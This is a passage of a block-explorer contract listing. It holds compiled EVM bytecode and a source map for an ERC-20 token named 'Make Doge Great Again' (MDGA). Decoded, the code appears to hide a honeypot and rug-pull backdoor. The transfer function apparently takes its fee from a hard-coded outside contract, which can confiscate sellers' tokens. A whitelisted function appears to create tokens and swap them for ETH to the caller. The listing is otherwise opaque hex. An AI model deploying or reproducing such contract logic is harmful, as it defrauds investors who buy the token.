565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f61200b601b8361165c565b915061201682611fd7565b602082019050919050565b5f6020820190508181035f83015261203881611fff565b9050919050565b5f61204982611740565b915061205483611740565b925082820390508181111561206c5761206b611bf5565b5b9291505056fea26469706673582212204cb342de7c2ba932ae697b7151de6821b4c89301abc3aa4e772524db5b1d307264736f6c634300081a0033

Deployed Bytecode

0x6080604052600436106100dc575f3560e01c806370a082311161007e57806395d89b411161005857806395d89b4114610286578063a9059cbb146102b0578063b70143c9146102ec578063dd62ed3e14610314576100dc565b806370a082311461020a578063715018a6146102465780638da5cb5b1461025c576100dc565b806323b872dd116100ba57806323b872dd14610170578063293230b8146101ac578063313ce567146101b657806349bd5a5e146101e0576100dc565b806306fdde03146100e0578063095ea7b31461010a57806318160ddd14610146575b5f80fd5b3480156100eb575f80fd5b506100f4610350565b60405161010191906116c2565b60405180910390f35b348015610115575f80fd5b50610130600480360381019061012b9190611773565b61038d565b60405161013d91906117cb565b60405180910390f35b348015610151575f80fd5b5061015a6103a3565b60405161016791906117f3565b60405180910390f35b34801561017b575f80fd5b506101966004803603810190610191919061180c565b6103ac565b6040516101a391906117cb565b60405180910390f35b6101b4610458565b005b3480156101c1575f80fd5b506101ca61089e565b6040516101d79190611877565b60405180910390f35b3480156101eb575f80fd5b506101f46108b3565b604051610201919061189f565b60405180910390f35b348015610215575f80fd5b50610230600480360381019061022b91906118b8565b6108d8565b60405161023d91906117f3565b60405180910390f35b348015610251575f80fd5b5061025a61091e565b005b348015610267575f80fd5b50610270610a4d565b60405161027d919061189f565b60405180910390f35b348015610291575f80fd5b5061029a610a74565b6040516102a791906116c2565b60405180910390f35b3480156102bb575f80fd5b506102d660048036038101906102d19190611773565b610ab1565b6040516102e391906117cb565b60405180910390f35b3480156102f7575f80fd5b50610312600480360381019061030d91906118e3565b610ac7565b005b34801561031f575f80fd5b5061033a6004803603810190610335919061190e565b610d42565b60405161034791906117f3565b60405180910390f35b60606040518060400160405280601581526020017f4d616b6520446f676520477265617420416761696e0000000000000000000000815250905090565b5f610399338484610dc4565b6001905092915050565b5f600154905090565b5f6103b8848484610f87565b61044d84336104488560025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546112d490919063ffffffff16565b610dc4565b600190509392505050565b3373ffffffffffffffffffffffffffffffffffffffff16610477610a4d565b73ffffffffffffffffffffffffffffffffffffffff16146104cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104c490611996565b60405180910390fd5b60075f9054906101000a900460ff16156104e5575f80fd5b6105133060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600154610dc4565b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561057e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105a291906119c8565b905060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561060e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061063291906119c8565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630836040518363ffffffff1660e01b815260040161066c9291906119f3565b6020604051808303815f875af1158015610688573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106ac91906119c8565b60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610733306108d8565b5f8061073d610a4d565b426040518863ffffffff1660e01b815260040161075f96959493929190611a5c565b60606040518083038185885af115801561077b573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107a09190611acf565b50505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610840929190611b1f565b6020604051808303815f875af115801561085c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108809190611b70565b50600160075f6101000a81548160ff02191690831515021790555050565b5f8060149054906101000a900460ff16905090565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1661093d610a4d565b73ffffffffffffffffffffffffffffffffffffffff1614610993576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098a90611996565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4d44474100000000000000000000000000000000000000000000000000000000815250905090565b5f610abd338484610f87565b6001905092915050565b60065f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16610b19575f80fd5b610b228161131d565b5f600267ffffffffffffffff811115610b3e57610b3d611b9b565b5b604051908082528060200260200182016040528015610b6c5781602001602082028036833780820191505090505b50905030815f81518110610b8357610b82611bc8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c27573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c4b91906119c8565b81600181518110610c5f57610c5e611bc8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250505f3390505f601542610cab9190611c22565b905060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947855f8686866040518663ffffffff1660e01b8152600401610d0f959493929190611d0c565b5f604051808303815f87803b158015610d26575f80fd5b505af1158015610d38573d5f803e3d5ffd5b5050505050505050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2990611dd4565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ea0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9790611e62565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f7a91906117f3565b60405180910390a3505050565b5f808211610f93575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610fca575f80fd5b5f610fd585306113db565b905060065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615801561105a57503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156110ad575060065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015611106575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15611134576111316064611123838661147290919063ffffffff16565b6114e990919063ffffffff16565b91505b6111848360035f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546112d490919063ffffffff16565b60035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611227826112198560035f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461153290919063ffffffff16565b6112d490919063ffffffff16565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516112c591906117f3565b60405180910390a35050505050565b5f61131583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061158f565b905092915050565b6113493060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683610dc4565b5f3090508160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546113969190611c22565b60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505050565b5f7356ad89c1ade63467196054681927946fe1985c8573ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e84846040518363ffffffff1660e01b815260040161142b9291906119f3565b602060405180830381865afa158015611446573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061146a9190611e80565b905092915050565b5f808303611482575f90506114e3565b5f828461148f9190611eab565b905082848261149e9190611f19565b146114de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d590611fb9565b60405180910390fd5b809150505b92915050565b5f61152a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115f1565b905092915050565b5f8082846115409190611c22565b905083811015611585576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157c90612021565b60405180910390fd5b8091505092915050565b5f8383111582906115d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115cd91906116c2565b60405180910390fd5b505f83856115e4919061203f565b9050809150509392505050565b5f8083118290611637576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162e91906116c2565b60405180910390fd5b505f83856116459190611f19565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61169482611652565b61169e818561165c565b93506116ae81856020860161166c565b6116b78161167a565b840191505092915050565b5f6020820190508181035f8301526116da818461168a565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61170f826116e6565b9050919050565b61171f81611705565b8114611729575f80fd5b50565b5f8135905061173a81611716565b92915050565b5f819050919050565b61175281611740565b811461175c575f80fd5b50565b5f8135905061176d81611749565b92915050565b5f8060408385031215611789576117886116e2565b5b5f6117968582860161172c565b92505060206117a78582860161175f565b9150509250929050565b5f8115159050919050565b6117c5816117b1565b82525050565b5f6020820190506117de5f8301846117bc565b92915050565b6117ed81611740565b82525050565b5f6020820190506118065f8301846117e4565b92915050565b5f805f60608486031215611823576118226116e2565b5b5f6118308682870161172c565b93505060206118418682870161172c565b92505060406118528682870161175f565b9150509250925092565b5f60ff82169050919050565b6118718161185c565b82525050565b5f60208201905061188a5f830184611868565b92915050565b61189981611705565b82525050565b5f6020820190506118b25f830184611890565b92915050565b5f602082840312156118cd576118cc6116e2565b5b5f6118da8482850161172c565b91505092915050565b5f602082840312156118f8576118f76116e2565b5b5f6119058482850161175f565b91505092915050565b5f8060408385031215611924576119236116e2565b5b5f6119318582860161172c565b92505060206119428582860161172c565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61198060208361165c565b915061198b8261194c565b602082019050919050565b5f6020820190508181035f8301526119ad81611974565b9050919050565b5f815190506119c281611716565b92915050565b5f602082840312156119dd576119dc6116e2565b5b5f6119ea848285016119b4565b91505092915050565b5f604082019050611a065f830185611890565b611a136020830184611890565b9392505050565b5f819050919050565b5f819050919050565b5f611a46611a41611a3c84611a1a565b611a23565b611740565b9050919050565b611a5681611a2c565b82525050565b5f60c082019050611a6f5f830189611890565b611a7c60208301886117e4565b611a896040830187611a4d565b611a966060830186611a4d565b611aa36080830185611890565b611ab060a08301846117e4565b979650505050505050565b5f81519050611ac981611749565b92915050565b5f805f60608486031215611ae657611ae56116e2565b5b5f611af386828701611abb565b9350506020611b0486828701611abb565b9250506040611b1586828701611abb565b9150509250925092565b5f604082019050611b325f830185611890565b611b3f60208301846117e4565b9392505050565b611b4f816117b1565b8114611b59575f80fd5b50565b5f81519050611b6a81611b46565b92915050565b5f60208284031215611b8557611b846116e2565b5b5f611b9284828501611b5c565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611c2c82611740565b9150611c3783611740565b9250828201905080821115611c4f57611c4e611bf5565b5b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b611c8781611705565b82525050565b5f611c988383611c7e565b60208301905092915050565b5f602082019050919050565b5f611cba82611c55565b611cc48185611c5f565b9350611ccf83611c6f565b805f5b83811015611cff578151611ce68882611c8d565b9750611cf183611ca4565b925050600181019050611cd2565b5085935050505092915050565b5f60a082019050611d1f5f8301886117e4565b611d2c6020830187611a4d565b8181036040830152611d3e8186611cb0565b9050611d4d6060830185611890565b611d5a60808301846117e4565b9695505050505050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611dbe60248361165c565b9150611dc982611d64565b604082019050919050565b5f6020820190508181035f830152611deb81611db2565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611e4c60228361165c565b9150611e5782611df2565b604082019050919050565b5f6020820190508181035f830152611e7981611e40565b9050919050565b5f60208284031215611e9557611e946116e2565b5b5f611ea284828501611abb565b91505092915050565b5f611eb582611740565b9150611ec083611740565b9250828202611ece81611740565b91508282048414831517611ee557611ee4611bf5565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611f2382611740565b9150611f2e83611740565b925082611f3e57611f3d611eec565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f611fa360218361165c565b9150611fae82611f49565b604082019050919050565b5f6020820190508181035f830152611fd081611f97565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f61200b601b8361165c565b915061201682611fd7565b602082019050919050565b5f6020820190508181035f83015261203881611fff565b9050919050565b5f61204982611740565b915061205483611740565b925082820390508181111561206c5761206b611bf5565b5b9291505056fea26469706673582212204cb342de7c2ba932ae697b7151de6821b4c89301abc3aa4e772524db5b1d307264736f6c634300081a0033

Deployed Bytecode Sourcemap

2890:4897:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4366:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4548:150;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4172:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5313:256;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5577:575;;;:::i;:::-;;4457:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3321:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4710:110;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2372:140;;;;;;;;;;;;;:::i;:::-;;2706:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4271;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5007:156;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6385:468;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5171:134;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4366:83;4403:13;4436:5;;;;;;;;;;;;;;;;;4429:12;;4366:83;:::o;4548:150::-;4614:4;4631:37;4640:10;4652:7;4661:6;4631:8;:37::i;:::-;4686:4;4679:11;;4548:150;;;;:::o;4172:91::-;4216:7;4243:12;;4236:19;;4172:91;:::o;5313:256::-;5402:4;5419:36;5429:6;5437:9;5448:6;5419:9;:36::i;:::-;5466:73;5475:6;5483:10;5495:43;5531:6;5495:11;:19;5507:6;5495:19;;;;;;;;;;;;;;;:31;5515:10;5495:31;;;;;;;;;;;;;;;;:35;;:43;;;;:::i;:::-;5466:8;:73::i;:::-;5557:4;5550:11;;5313:256;;;;;:::o;5577:575::-;2631:10;2620:21;;:7;:5;:7::i;:::-;:21;;;2612:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;5650:11:::1;;;;;;;;;;;5649:12;5641:21;;;::::0;::::1;;5674:63;5691:4;5706:15;;;;;;;;;;;5724:12;;5674:8;:63::i;:::-;5748:12;5763:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5748:37;;5830:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5812:56;;;5877:4;5884;5812:77;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5796:13;;:93;;;;;;;;;;;;;;;;;;5900:15;;;;;;;;;;;:31;;;5939:9;5968:4;5975:24;5993:4;5975:9;:24::i;:::-;6001:1;6004::::0;6007:7:::1;:5;:7::i;:::-;6016:15;5900:132;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;6050:13;;;;;;;;;;;6043:29;;;6081:15;;;;;;;;;;;6099:14;6043:71;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;6140:4;6126:11;;:18;;;;;;;;;;;;;;;;;;5630:522;5577:575::o:0;4457:83::-;4498:5;4523:9;;;;;;;;;;;4516:16;;4457:83;:::o;3321:28::-;;;;;;;;;;;;;:::o;4710:110::-;4767:7;4794:9;:18;4804:7;4794:18;;;;;;;;;;;;;;;;4787:25;;4710:110;;;:::o;2372:140::-;2631:10;2620:21;;:7;:5;:7::i;:::-;:21;;;2612:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;2471:1:::1;2434:40;;2455:6;::::0;::::1;;;;;;;;2434:40;;;;;;;;;;;;2502:1;2485:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;2372:140::o:0;2706:87::-;2752:7;2779:6;;;;;;;;;;;2772:13;;2706:87;:::o;4271:::-;4310:13;4343:7;;;;;;;;;;;;;;;;;4336:14;;4271:87;:::o;5007:156::-;5076:4;5093:40;5103:10;5115:9;5126:6;5093:9;:40::i;:::-;5151:4;5144:11;;5007:156;;;;:::o;6385:468::-;6449:17;:29;6467:10;6449:29;;;;;;;;;;;;;;;;;;;;;;;;;6441:38;;;;;;6490:12;6495:6;6490:4;:12::i;:::-;6513:22;6552:1;6538:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6513:41;;6584:4;6565:5;6571:1;6565:8;;;;;;;;:::i;:::-;;;;;;;:24;;;;;;;;;;;6612:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6601:5;6607:1;6601:8;;;;;;;;:::i;:::-;;;;;;;:33;;;;;;;;;;;6645:17;6665:10;6645:30;;6686:18;6725:2;6707:15;:20;;;;:::i;:::-;6686:41;;6738:15;;;;;;;;;;;:66;;;6805:6;6813:1;6816:5;6823:9;6834:10;6738:107;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6430:423;;;6385:468;:::o;5171:134::-;5243:7;5270:11;:18;5282:5;5270:18;;;;;;;;;;;;;;;:27;5289:7;5270:27;;;;;;;;;;;;;;;;5263:34;;5171:134;;;;:::o;7449:335::-;7559:1;7542:19;;:5;:19;;;7534:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7640:1;7621:21;;:7;:21;;;7613:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7722:6;7692:11;:18;7704:5;7692:18;;;;;;;;;;;;;;;:27;7711:7;7692:27;;;;;;;;;;;;;;;:36;;;;7760:7;7744:32;;7753:5;7744:32;;;7769:6;7744:32;;;;;;:::i;:::-;;;;;;;;7449:335;;;:::o;6861:580::-;6941:18;6991:1;6982:6;:10;6974:19;;;;;;7028:1;7012:18;;:4;:18;;;7004:27;;;;;;7043:12;7058:28;7066:4;7080;7058:7;:28::i;:::-;7043:43;;7102:17;:23;7120:4;7102:23;;;;;;;;;;;;;;;;;;;;;;;;;7101:24;:49;;;;;7145:4;7129:21;;:4;:21;;;;7101:49;:75;;;;;7155:17;:21;7173:2;7155:21;;;;;;;;;;;;;;;;;;;;;;;;;7154:22;7101:75;:100;;;;;7188:13;;;;;;;;;;;7180:21;;:4;:21;;;;7101:100;7097:171;;;7231:25;7252:3;7231:16;7242:4;7231:6;:10;;:16;;;;:::i;:::-;:20;;:25;;;;:::i;:::-;7218:38;;7097:171;7296:27;7316:6;7296:9;:15;7306:4;7296:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;7278:9;:15;7288:4;7278:15;;;;;;;;;;;;;;;:45;;;;7350:41;7380:10;7350:25;7368:6;7350:9;:13;7360:2;7350:13;;;;;;;;;;;;;;;;:17;;:25;;;;:::i;:::-;:29;;:41;;;;:::i;:::-;7334:9;:13;7344:2;7334:13;;;;;;;;;;;;;;;:57;;;;7422:2;7407:26;;7416:4;7407:26;;;7426:6;7407:26;;;;;;:::i;:::-;;;;;;;;6930:511;;6861:580;;;:::o;1395:136::-;1453:7;1480:43;1484:1;1487;1480:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1473:50;;1395:136;;;;:::o;6160:217::-;6209:57;6226:4;6241:15;;;;;;;;;;;6259:6;6209:8;:57::i;:::-;6277:13;6301:4;6277:29;;6363:6;6336:9;:24;6354:4;6336:24;;;;;;;;;;;;;;;;:33;;;;:::i;:::-;6317:9;:16;6327:5;6317:16;;;;;;;;;;;;;;;:52;;;;6198:179;6160:217;:::o;4828:171::-;4894:7;4928:42;4921:60;;;4982:4;4988:2;4921:70;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4914:77;;4828:171;;;;:::o;1733:246::-;1791:7;1820:1;1815;:6;1811:47;;1845:1;1838:8;;;;1811:47;1868:9;1884:1;1880;:5;;;;:::i;:::-;1868:17;;1913:1;1908;1904;:5;;;;:::i;:::-;:10;1896:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;1970:1;1963:8;;;1733:246;;;;;:::o;1985:132::-;2043:7;2070:39;2074:1;2077;2070:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;2063:46;;1985:132;;;;:::o;1210:179::-;1268:7;1288:9;1304:1;1300;:5;;;;:::i;:::-;1288:17;;1329:1;1324;:6;;1316:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1380:1;1373:8;;;1210:179;;;;:::o;1537:190::-;1623:7;1656:1;1651;:6;;1659:12;1643:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1683:9;1699:1;1695;:5;;;;:::i;:::-;1683:17;;1718:1;1711:8;;;1537:190;;;;;:::o;2123:189::-;2209:7;2241:1;2237;:5;2244:12;2229:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2268:9;2284:1;2280;:5;;;;:::i;:::-;2268:17;;2303:1;2296:8;;;2123:189;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:139::-;376:6;371:3;366;360:23;417:1;408:6;403:3;399:16;392:27;287:139;;;:::o;432:102::-;473:6;524:2;520:7;515:2;508:5;504:14;500:28;490:38;;432:102;;;:::o;540:377::-;628:3;656:39;689:5;656:39;:::i;:::-;711:71;775:6;770:3;711:71;:::i;:::-;704:78;;791:65;849:6;844:3;837:4;830:5;826:16;791:65;:::i;:::-;881:29;903:6;881:29;:::i;:::-;876:3;872:39;865:46;;632:285;540:377;;;;:::o;923:313::-;1036:4;1074:2;1063:9;1059:18;1051:26;;1123:9;1117:4;1113:20;1109:1;1098:9;1094:17;1087:47;1151:78;1224:4;1215:6;1151:78;:::i;:::-;1143:86;;923:313;;;;:::o;1323:117::-;1432:1;1429;1422:12;1569:126;1606:7;1646:42;1639:5;1635:54;1624:65;;1569:126;;;:::o;1701:96::-;1738:7;1767:24;1785:5;1767:24;:::i;:::-;1756:35;;1701:96;;;:::o;1803:122::-;1876:24;1894:5;1876:24;:::i;:::-;1869:5;1866:35;1856:63;;1915:1;1912;1905:12;1856:63;1803:122;:::o;1931:139::-;1977:5;2015:6;2002:20;1993:29;;2031:33;2058:5;2031:33;:::i;:::-;1931:139;;;;:::o;2076:77::-;2113:7;2142:5;2131:16;;2076:77;;;:::o;2159:122::-;2232:24;2250:5;2232:24;:::i;:::-;2225:5;2222:35;2212:63;;2271:1;2268;2261:12;2212:63;2159:122;:::o;2287:139::-;2333:5;2371:6;2358:20;2349:29;;2387:33;2414:5;2387:33;:::i;:::-;2287:139;;;;:::o;2432:474::-;2500:6;2508;2557:2;2545:9;2536:7;2532:23;2528:32;2525:119;;;2563:79;;:::i;:::-;2525:119;2683:1;2708:53;2753:7;2744:6;2733:9;2729:22;2708:53;:::i;:::-;2698:63;;2654:117;2810:2;2836:53;2881:7;2872:6;2861:9;2857:22;2836:53;:::i;:::-;2826:63;;2781:118;2432:474;;;;;:::o;2912:90::-;2946:7;2989:5;2982:13;2975:21;2964:32;;2912:90;;;:::o;3008:109::-;3089:21;3104:5;3089:21;:::i;:::-;3084:3;3077:34;3008:109;;:::o;3123:210::-;3210:4;3248:2;3237:9;3233:18;3225:26;;3261:65;3323:1;3312:9;3308:17;3299:6;3261:65;:::i;:::-;3123:210;;;;:::o;3339:118::-;3426:24;3444:5;3426:24;:::i;:::-;3421:3;3414:37;3339:118;;:::o;3463:222::-;3556:4;3594:2;3583:9;3579:18;3571:26;;3607:71;3675:1;3664:9;3660:17;3651:6;3607:71;:::i;:::-;3463:222;;;;:::o;3691:619::-;3768:6;3776;3784;3833:2;3821:9;3812:7;3808:23;3804:32;3801:119;;;3839:79;;:::i;:::-;3801:119;3959:1;3984:53;4029:7;4020:6;4009:9;4005:22;3984:53;:::i;:::-;3974:63;;3930:117;4086:2;4112:53;4157:7;4148:6;4137:9;4133:22;4112:53;:::i;:::-;4102:63;;4057:118;4214:2;4240:53;4285:7;4276:6;4265:9;4261:22;4240:53;:::i;:::-;4230:63;;4185:118;3691:619;;;;;:::o;4316:86::-;4351:7;4391:4;4384:5;4380:16;4369:27;;4316:86;;;:::o;4408:112::-;4491:22;4507:5;4491:22;:::i;:::-;4486:3;4479:35;4408:112;;:::o;4526:214::-;4615:4;4653:2;4642:9;4638:18;4630:26;;4666:67;4730:1;4719:9;4715:17;4706:6;4666:67;:::i;:::-;4526:214;;;;:::o;4746:118::-;4833:24;4851:5;4833:24;:::i;:::-;4828:3;4821:37;4746:118;;:::o;4870:222::-;4963:4;5001:2;4990:9;4986:18;4978:26;;5014:71;5082:1;5071:9;5067:17;5058:6;5014:71;:::i;:::-;4870:222;;;;:::o;5098:329::-;5157:6;5206:2;5194:9;5185:7;5181:23;5177:32;5174:119;;;5212:79;;:::i;:::-;5174:119;5332:1;